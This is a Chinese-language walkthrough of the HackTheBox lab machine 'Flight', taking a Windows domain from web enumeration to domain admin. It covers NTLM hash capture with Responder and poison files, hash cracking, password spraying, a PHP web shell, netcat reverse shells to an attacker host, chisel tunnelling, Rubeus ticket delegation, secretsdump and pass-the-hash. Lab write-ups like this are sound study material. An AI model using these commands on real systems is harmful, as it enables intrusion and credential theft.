hackthebox flight insane

发布时间 2023-06-11 16:39:17作者: lisenMiller

主机发现

nmap -sV -sC -oN flight 10.10.11.187

88端口开放所以是一个域环境

tips:在域环境中,只要与kerberos相关的事情,必须要与域环境中的时间一致

域环境smbenum主机头

由于开放了445端口,首先用cme枚举445端口 cmd --help 枚举可用常规选项 cme smb --help 查看smb内的选项

cme smb 10.10.11.187 枚举运行smb服务的这个主机名是什么 显示为G0 添加到hosts文件中

查看web服务

发现是一个类似预定机票的页面

利用gobuster爆破目录

gobuster -u http://10.10.11.187 -w /opt/xx.xxdictionary -x php,git,asp

域环境enum web的主机头 通过host字段 

目的:查看有没有其他的主机开启了web服务

ffuf -u http://10.10.11.187 -H "host: FUZZ.flight.htb" -w /xx dictionary -mc all -fs 7069

根据显示出哪个多fs的size就是哪个,一般多的都是不正确的

跑出一个school主机头 写入hosts文件中

访问这个主机开启的web服务 点击导航栏看到url的变化从school.flight.htb/index.php出现几个字符 ?view=about.html

查看school.flight.htb/about.html出现一段文本,那这个view的作用就是将这段about.html的文本渲染到已经形成好的页面上,有点像先摆好面包,再决定上什么酱的感觉

那么这个interact参数有可能存在目录穿越漏洞(单纯泄露文件内容)和本地文件包含漏洞(会执行代码)

CTRL U 看看网页源代码有没有显示出php的页面存不存在这个漏洞 

 发现由php代码,查看发现是对view的内容后缀名由要求 只要由.. \ htaccess 和shtml就直接报错拦截

所以不能使用目录穿越漏洞,本地包含可以试一下

抓包尝试一下看看能不能进进行远程文件包含

发送该请求,并在kali监听445端口看看有没有申请访问的列表

nc -lvnp 445

确实有访问到,所以可以利用responder来监听网卡获得信息

python3 responder.py -I tun0

再次回到抓包的页面利用view进行一个远程文件访问kali的smb服务得到信息 (第一次失败)

因为之前我们尝试访问smb的时候用的就是这两个路径存在缓存的关系,修改subscribe添加一个2即可

成功获得hash值

copy这个ntlmhash到hashcat中进行破解

hashcat hashfile /usr/share/wordlists/rockyou.txt

成功破解

密码是S@Ss!K@*t13

所以这个用户名密码是SVC_APACHE/S@Ss!K@*t13

如果这里没有即使记录到帐号以及密码,那么可以使用sqlite3 responder.db .dump查看对应的账号密码

由于不知道这个账号密码是哪个服务的账号密码可以使用cme进行爆破猜解

首先查看445端口是不是这个账号密码
cme smb 10.10.11.187  -u 'svc_apache' -p 'S@Ss!K@*t13'

再试一下--shares 有没有共享的目录

存在

利用smbclient和这对账号密码进行登录查看有没有什么值得的信息

smbclient //10.10.11.187 -U 'svc_apache' //10.10.11.187/Shared

password:xxx

由于smb里面展示的服务比较多,我们先利用cmd的--users选项将所有的users都能打印出来

cmd smb 10.10.11.187 -u 'svc_apache' -p ' 密码' --users > users.txt

利用awk将第五列的所有用户名都打印出来

cme smb 10.10.11.187 -u 'svc_apache' -p 'mima ' --users  | awk '{print $5}'

利用cme进行密码喷射看看会不会有其他用户也会用同一个密码进行登录

将上述所有的账户写到users.txt中

cme smb 10.10.11.187 -u users.txt -p '密码' 

找到了一个就停下来了 但是这是我们已经有的密码 添加--continue-on-success

cme smb 10.10.11.187 -u users.txt -p '密码' --continue-on-success

发现还有一个叫S.Moon的用户用的也是这个密码

利用cme查看moon用户再smb共享了什么文件夹

cme smb 10.10.11.187 -u 'S.Moon' -p '密码' --shares

再利用smbclient -U 'S.Moon' //10.10.11.187/Web等逐个查看共享了什么东西

可以利用这个共享目录放一个poison file去获得一个新得hash

 discovering a writeable share dropping a scf file to get a hash

but easier way to create one poison file is ntlm_theft 

git clone https://github.com/Greenwolf/ntlm_theft  

利用这个工具生成几个文件

python ntlm_theft.py -g all -s 10.10.14.8 -f pleasesubscribe

生成文件之后,进入到靶机smb里面进行

同时利用responder监听tun0端口抓取smb hash

python responder.py -I tun0 监听完成后 再次进入到靶机smb里面进行操作

将我们利用ntlm_theft生成的文件put到靶机smb中

smb:> put pleasesubscribe.scf #报错

可能是权限得问题

那再尝试一下其他的

smb:> put desktop.ini  #成功

#desktop文件长这样

成功上传到靶机后,该poison file就会自动执行 sleep 120 来确定两分钟之内responder有没有抓到hash 如果没有的话就换下一个文件

responder成功抓取到hash

复制保存到hash.txt并利用hashcat进行破解

hashcat hash.txt /usr/share/wordlists/rockyou.txt #让hashcat自动寻找是什么类型的文件

找到密码为Tikkycoll_431012284   将获得到的账号以及密码都保存好

由于他是smb的hash,所以也可以利用cme获取这个C.BUM用户开启了什么smb的共享目录

cme smb 10.10.11.187 -u 'C.BUM' -p 'Tikkycoll_431012284 --share

发现这个web目录具有可读可写权限,尝试能不能在里面写一个shell文件

在/tmp目录下创建一个shell.php

<?php system($_REQUEST['cmd']);?>

靶机smb命令行

smb :> lcd /tmp目录下 #local cd 本地目录切换

smb :> put shell.php

根据目录提示所以这个shell.php应该在根目录的位置

直接访问 http://flight.htb/shell.php?cmd=whoami #成功

利用nc或者bash直接反弹shell

但是这里与以往不同的是,这个靶机是windows主机,所以要额外下载nc64.exe利用smb上传到靶机上

#下载netcat

点击netcat 1.12download并解压到/tmp目录下 #主要是为了和smb的的local 目录对应

smb :> put nc64.exe #成功上传

http://flight.htb/shell.php?cmd=nc64.exe -e powershell.exe10.10.14.8 9001 #注意是powershell.exe

然后突然报错说404页面 说明我们上传的shell.php被删掉了 可能存在定期删除上传文件的机制

重新put一下shell.php和nc64.exe 

上传成功后refresh一下 kali段监听的9001成功获取powershell

查看权限

whoami 

想上下快速打出命令的时候发现是[[A和]]B 重新利用rlwrap nc -lvnp 9001监听即可

获取shell后想找一个能够写入的目录

利用icacls并指定某个目录去查看这个目录的权限

icacls development

说明flight\C.Bum是具有这个目录的写权限

在powershell中切换用户

runas /user:c.bum cmd

有一个项目叫runascs

 https://github.com/antonioCoco/RunasCs/releases/tag/v1.5 下载zip文件

并解压文件出两个exe文件,利用curl将runascs文件上传到靶机上

curl http://10.10.14.8/runascs.exe -o runascs.exe

根据runascs的用法 后面跟C.bum Tikkycoll_431012284 'nc -e powershell.exe 10.10.14.8 9001' -r 

所以还要将nc64.exe上传到靶机上

curl http://10.10.14.8:8000/nc64.exe

再看看runascs的example能查看到runascs后 重定向一个指定的命令到远程主机

.\runascs c.bum passwd powershell.exe -r 10.10.14.8:9001

成功获取到账户是C.bum用户的shell

然后进入到inethub的development目录,因为上面用moon的账户利用icacls查看过这个development目录对于用户c.bum有写权限

cd \inethub\development目录

写一个shell文件进去 --可以利用

或者下载/laudanum下aspx/shell.aspx

修改shell.aspx文件的目的地址以及端口

并用靶机shellcurl到development目录下

curl http://10.10.14.8/shell.aspx -o rev.aspx 

1.靶机将kali上的shell.aspx下载到development目录下

2.再尝试利用curl看看能不能直接执行shell.aspx文件 (失败) 

3.上传chisel进行http隧道 下载的是windowsamd64的版本 和linuxamd64版本

 (kali做服务器模式,让靶机链接kali)

kali server chmod +x chisel_linux_amd64  ./chisel_linux_amd64 -p  8001

windows靶机 : curl http://10.10.14.8:8000/chisel -o chisel.exe

运行 : chisel.exe client 10.10.14.8:8001 L:8000:127.0.0.1:8002

失败

报错: client cannot listen on L:8000=> 8002

(kali主动连接客户端模式 --reverse)

kali ./chisel_linux_amd64 -p 8001 --reverse

windows: chisel.exe client 10.10.14.8:8001 R:8002:127.0.0.1:8000

链接成功

kali访问本地的8002端口即可访问到靶机上上传的shell.aspx文件

利用这个命令执行的接口进行nc64.exe -e poweshell.exe 10.10.14.8 9001 将iis用户apppool\defaultapppool用户反弹shell

kali开启监听 :rlwrap nc -lvnp 9001

成功获取到shell,但是不确定这个shell是不是system级别的账户 这里可以利用responder然后在这个用户的shell里访问\\10.10.14.8\ipp\sec来访问kali的smb目录并开启responder抓取密码以及信息

成功抓取到并且前面是G0$的开头说明这个是system级别的用户

利用这个system级别的账户做一个tgt委派获得这个系统的ticket,再用来转储域或DC同步 

利用rubeus来进行攻击

Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用 hashcat 或 john 爆破的Hash

 在靶机的iis级账户shell中利用curl下载rubeus.exe

运行rubeus.exe

./rubeus.exe  tgtdeleg /nowrap #成功获取一张TGT

将ticket.kirbi复制出来并命名为ticket.kirbi.bare64 因为上面写明了是经过了base64加密后的ticket

cat ticket.kirbi.base64 | base64 -d > kirbi.ticket 

再利用kirbi2ccache ticket.kirbi ticket.ccache

生成完成 得到了一个ticket.ccache  file ticket.ccache is data

将票据注入到KRB5CCNAME中

export KRB5CCNAME=ticket.ccache

再利用secretdump.py进行打印 注意这张票据是g0开头,所以主机头要加一个g0

发现是报错并没有注入成功

注意域渗透最关键的一步也是要同步时钟

用ntpdate -s flight.htb对域环境的时间进行同步

发现回退了几个小时,再利用secretdump.py进行打印账户密码

secretdump.py -k --no-pass g0.flight.htb (失败)

仍然是报错 说是ldap的过滤器有问题

那就切换成impacket-secretsdump.py进行打印 

impacket-secretsdump.py -k --no-pass g0.flight.htb

成功打印

发现有administrator的hash

利用cme对administrator的smb进行账户和密码hash的检验

cme smb -u 'administrator' -H 'aad3bxxxxx:43bbfc530xxx17c'

说明是这个密码

再利用psexec.py获取administrator的shell

psexec.py administrator@10.10.11.187 -hashes 

成功获取shell

查看是否存在dig域传送获取所有的解析记录

利用dig 检测dns域传送漏洞

这里涉及dig 一个重要的命令axfr:

axfr 是q-type类型的一种: axfr类型是Authoritative Transfer的缩写,指请求传送某个区域的全部记录。

我们只要欺骗dns服务器发送一个axfr请求过去, 如果该dns服务器上存在该漏洞,就会返回所有的解析记录值

dig axfr @10.10.11.187